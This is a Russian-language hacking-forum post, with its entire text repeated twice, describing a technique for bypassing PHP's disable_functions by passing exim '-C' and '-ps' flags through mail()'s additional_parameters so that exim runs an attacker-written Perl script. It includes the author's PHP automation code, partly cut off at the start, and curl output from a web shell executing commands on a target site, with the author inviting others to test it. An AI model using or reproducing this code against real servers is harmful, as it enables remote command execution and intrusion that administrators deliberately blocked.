t0ma5
28.08.2015, 21:28
ковырял один сайт, позарез хотелось обойти disable_function, обнаружил один способ
в пыхе при вызове функции mail() можно передать необязательные параметры "additional_parameters"
.SpoilerTarget" type="button">Spoiler
Параметр additional_parameters может быть использован для передачи дополнительных флагов в виде аргументов командной строки для программы сконфигурированной для отправки писем, указанной директивой sendmail_path. Например, можно установить отправителя письма при использовании sendmail с помощью опции -f.
Параметр автоматически экранируется функцией escapeshellcmd(), чтобы не допустить выполнение команд. Но escapeshellcmd() позволяет добавлять дополнительные параметры. В целях безопасности рекомендуется проверять и очищать этот параметр.
Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые к использованию в email-адресах некоторыми RFC. mail() не допускает такие символы, поэтому в программах, в которых они требуются, рекомендуется использовать альтернативы для их отправки (например фреймворки или библиотеки).
Пользователь, под которым работает веб-сервер должен быть добавлен в список доверенных в конфигурации sendmail для того чтобы избежать добавления заголовка 'X-Warning' при указании отправителя с помощью опции (-f). Для пользователей sendmail - это файл /etc/mail/trusted-users.
это параметры будут переданы при вызове sendmail
можно передать альтернативный конфиг( опция -C ), в котором вызвать выполнение perl скрипта( опция -ps )
особо нигде не тестил, только на своем сайте - php 5.4, exim версия под спойлером
.SpoilerTarget" type="button">Spoiler
Exim version 4.76
Berkeley DB: Berkeley DB 5.1.25: (January 28, 2011)
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc GnuTLS move_frozen_messages Content_Scanning DKIM Old_Demime
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmnz dnsdb dsearch ldap ldapdn ldapm mysql nis nis0 passwd pgsql sqlite
Authenticators: cram_md5 cyrus_sasl dovecot plaintext spa
Routers: accept dnslookup ipliteral iplookup manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp
Fixed never_users: 0
Size of off_t: 8
Compiler: GCC [4.6.3]
Library version: GnuTLS: Compile: 2.12.14
Runtime: 2.12.14
Library version: Cyrus SASL: Compile: 2.1.25
Runtime: 2.1.25 [Cyrus SASL]
Library version: PCRE: Compile: 8.12
Runtime: 8.12 2011-01-15
20:06:28 36459 Total 18 lookups
Library version: MySQL: Compile: 5.5.28 [(Ubuntu)]
Runtime: 5.1.73
Library version: SQLite: Compile: 3.7.9
Runtime: 3.7.9
набросал небольшой код для автоматизации, под спойлером
.SpoilerTarget" type="button">Spoiler
Code:
$path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");
результат работы -
.SpoilerTarget" type="button">Spoiler
Code:
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=which wget;wget -h | head -n 3'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: which wget;wget -h | head -n 3
result: /usr/bin/wget
GNU Wget 1.13.4, a non-interactive network retriever.
Usage: wget [OPTION]... [URL]...
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=uname'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: uname
result: Linux
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=cat q.php'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: cat q.php
result: $path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");
само собой нужно чтобы была дира для записи, exim4 поддерживал перл и сам юзер( из под которого работает пых ) имел права на запуск перла
сори если не в той ветке пишу, потестите у кого будет время
в пыхе при вызове функции mail() можно передать необязательные параметры "additional_parameters"
.SpoilerTarget" type="button">Spoiler
Параметр additional_parameters может быть использован для передачи дополнительных флагов в виде аргументов командной строки для программы сконфигурированной для отправки писем, указанной директивой sendmail_path. Например, можно установить отправителя письма при использовании sendmail с помощью опции -f.
Параметр автоматически экранируется функцией escapeshellcmd(), чтобы не допустить выполнение команд. Но escapeshellcmd() позволяет добавлять дополнительные параметры. В целях безопасности рекомендуется проверять и очищать этот параметр.
Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые к использованию в email-адресах некоторыми RFC. mail() не допускает такие символы, поэтому в программах, в которых они требуются, рекомендуется использовать альтернативы для их отправки (например фреймворки или библиотеки).
Пользователь, под которым работает веб-сервер должен быть добавлен в список доверенных в конфигурации sendmail для того чтобы избежать добавления заголовка 'X-Warning' при указании отправителя с помощью опции (-f). Для пользователей sendmail - это файл /etc/mail/trusted-users.
это параметры будут переданы при вызове sendmail
можно передать альтернативный конфиг( опция -C ), в котором вызвать выполнение perl скрипта( опция -ps )
особо нигде не тестил, только на своем сайте - php 5.4, exim версия под спойлером
.SpoilerTarget" type="button">Spoiler
Exim version 4.76
Berkeley DB: Berkeley DB 5.1.25: (January 28, 2011)
Support for: crypteq iconv() IPv6 PAM Perl Expand_dlfunc GnuTLS move_frozen_messages Content_Scanning DKIM Old_Demime
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmnz dnsdb dsearch ldap ldapdn ldapm mysql nis nis0 passwd pgsql sqlite
Authenticators: cram_md5 cyrus_sasl dovecot plaintext spa
Routers: accept dnslookup ipliteral iplookup manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp
Fixed never_users: 0
Size of off_t: 8
Compiler: GCC [4.6.3]
Library version: GnuTLS: Compile: 2.12.14
Runtime: 2.12.14
Library version: Cyrus SASL: Compile: 2.1.25
Runtime: 2.1.25 [Cyrus SASL]
Library version: PCRE: Compile: 8.12
Runtime: 8.12 2011-01-15
20:06:28 36459 Total 18 lookups
Library version: MySQL: Compile: 5.5.28 [(Ubuntu)]
Runtime: 5.1.73
Library version: SQLite: Compile: 3.7.9
Runtime: 3.7.9
набросал небольшой код для автоматизации, под спойлером
.SpoilerTarget" type="button">Spoiler
Code:
$path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");
результат работы -
.SpoilerTarget" type="button">Spoiler
Code:
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=which wget;wget -h | head -n 3'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: which wget;wget -h | head -n 3
result: /usr/bin/wget
GNU Wget 1.13.4, a non-interactive network retriever.
Usage: wget [OPTION]... [URL]...
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=uname'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: uname
result: Linux
ktulhu@ktulhu:~$ curl 'http://********/q.php' --data 'cmd=cat q.php'
disable_function: pcntl_exec,popen,exec,system,passthru,proc_open,sh ell_exec,ftp_exec,chmod,ini_restore,dl,symlink,chg rp,putenv,getmyuid,posix_setuid,posix_setsid,posix _setpgid,posix_kill,apache_child_terminate,virtual ,proc_close,proc_get_status,proc_terminate,proc_ni ce,getmygid,proc_getstatus,escapeshellarg,show_sou rce,pclose,safe_dir,chown,shown_source,mysql_list_ dbs,get_current_user,getmyid,leak,pfsockopen,syslo g,phpcredits,pcntl_alarm,pcntl_fork,pcntl_waitpid, pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_ wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl _get_last_error,pcntl_strerror,pcntl_sigprocmask,p cntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getprior ity,pcntl_setpriority
cmd: cat q.php
result: $path/tmp.result');print A \"\$a\";close(A);");
file_put_contents('ex.cf',"perl_startup = do '$path/tmp.pl'");
mail('q','q','q','',"-C$path/ex.cf -ps");
echo file_get_contents("$path/tmp.result");
unlink("$path/tmp.result");
unlink("$path/tmp.pl");
unlink("$path/ex.cf");
само собой нужно чтобы была дира для записи, exim4 поддерживал перл и сам юзер( из под которого работает пых ) имел права на запуск перла
сори если не в той ветке пишу, потестите у кого будет время